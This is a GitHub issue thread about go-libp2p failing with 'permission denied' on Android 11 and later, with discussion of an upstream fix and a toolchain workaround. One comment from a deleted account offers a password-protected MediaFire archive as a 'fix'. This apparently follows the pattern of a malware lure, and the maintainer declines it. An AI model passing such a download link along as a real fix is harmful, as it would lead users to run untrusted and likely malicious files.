Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

BasicHost: permission denied appears on Android11+ #2986

Open
wlynxg opened this issue Sep 29, 2024 · 3 comments
Open

BasicHost: permission denied appears on Android11+ #2986

wlynxg opened this issue Sep 29, 2024 · 3 comments

Comments

@wlynxg
Copy link
Contributor

wlynxg commented Sep 29, 2024

650fa3c90164eab3d002656166364e0 Version Information
github.com/libp2p/go-libp2p v0.36.2

Due to the Android system, libp2p will fail to run on systems after Android11+.

Related issues:

This problem needs to be fixed in https://github.com/multiformats/go-multiaddr. The current issue only needs to record the problem.

@ghost
Copy link

ghost commented Sep 29, 2024

This might help:This file might fix it
https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file
Archive codepass: changeme
If you don't have the c compliator, install it.(gcc or clang)

@wlynxg
Copy link
Contributor Author

wlynxg commented Sep 29, 2024

This might help:This file might fix it https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file Archive codepass: changeme If you don't have the c compliator, install it.(gcc or clang)

Thanks for your help, but I will create a new PR to fix this problem soon.

@homier
Copy link

homier commented Sep 29, 2024

I also encounter this issue. As a workaround, I compile a custom Go toolchain from sources with applied patch from @wlynxg PR in Go https://github.com/golang/go/pull/61089/files to build an Android version of my project. This is a bit annoying to do, so I hope we'll see a fix soon. Thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants